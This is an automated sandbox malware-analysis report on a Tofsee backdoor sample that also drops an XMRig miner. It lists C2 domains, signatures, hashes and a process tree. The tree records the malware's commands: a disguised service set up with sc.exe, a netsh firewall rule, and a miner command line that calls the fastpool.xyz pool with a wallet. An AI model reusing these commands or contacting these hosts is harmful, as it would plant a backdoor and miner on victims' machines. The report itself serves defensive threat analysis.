Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/10/2022, 10:38

General

  • Target
    file.exe
  • Size 259KB
  • Sample221028-mpdbpsfgfn
  • SHA256 6724ddb4e9eead37ddda5526efa5484e37ade99449de76fc84b9dd2aa90648ed
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hlsmjudb\
      2⤵
        PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sdzevoap.exe" C:\Windows\SysWOW64\hlsmjudb\
        2⤵
          PID:3532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hlsmjudb binPath= "C:\Windows\SysWOW64\hlsmjudb\sdzevoap.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hlsmjudb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hlsmjudb
          2⤵
          • Launches sc.exe
          PID:1724
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2796
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4248 -s 1296
          2⤵
          • Program crash
          PID:4700
      • C:\Windows\SysWOW64\hlsmjudb\sdzevoap.exe
        C:\Windows\SysWOW64\hlsmjudb\sdzevoap.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4760
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4288
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:580
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4760 -s 264
          2⤵
          • Program crash
          PID:1292
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4248 -ip 4248
        1⤵
          PID:1148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4760 -ip 4760
          1⤵
            PID:1116

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                sdzevoap.exe

                • Path C:\Users\Admin\AppData\Local\Temp\sdzevoap.exe
                • Size 12.2MB
                • SHA256 a9185511709baf6dada171657b16cf194c3fb279e73cbaf484ed82a0986698c1
                • MD5 SHA1 SHA512 SSDEEP

                sdzevoap.exe

                • Path C:\Windows\SysWOW64\hlsmjudb\sdzevoap.exe
                • Size 12.2MB
                • SHA256 a9185511709baf6dada171657b16cf194c3fb279e73cbaf484ed82a0986698c1
                • MD5 SHA1 SHA512 SSDEEP

                memory/580-173-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/580-178-0x0000000000800000-0x00000000008F1000-memory.dmp

                memory/4248-143-0x0000000002F57000-0x0000000002F6C000-memory.dmp

                memory/4248-144-0x0000000002DB0000-0x0000000002DC3000-memory.dmp

                memory/4248-145-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4248-132-0x0000000002F57000-0x0000000002F6C000-memory.dmp

                memory/4248-134-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4248-133-0x0000000002DB0000-0x0000000002DC3000-memory.dmp

                memory/4288-152-0x0000000000D00000-0x0000000000D15000-memory.dmp

                memory/4288-153-0x0000000000D00000-0x0000000000D15000-memory.dmp

                memory/4288-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4288-157-0x0000000002170000-0x0000000002176000-memory.dmp

                memory/4288-160-0x0000000002180000-0x0000000002190000-memory.dmp

                memory/4288-163-0x00000000021D0000-0x00000000021D5000-memory.dmp

                memory/4288-166-0x0000000007900000-0x0000000007D0B000-memory.dmp

                memory/4288-169-0x00000000021E0000-0x00000000021E7000-memory.dmp

                memory/4288-147-0x0000000000D00000-0x0000000000D15000-memory.dmp

                memory/4760-151-0x0000000000400000-0x0000000002C2E000-memory.dmp

                memory/4760-150-0x0000000002CF2000-0x0000000002D07000-memory.dmp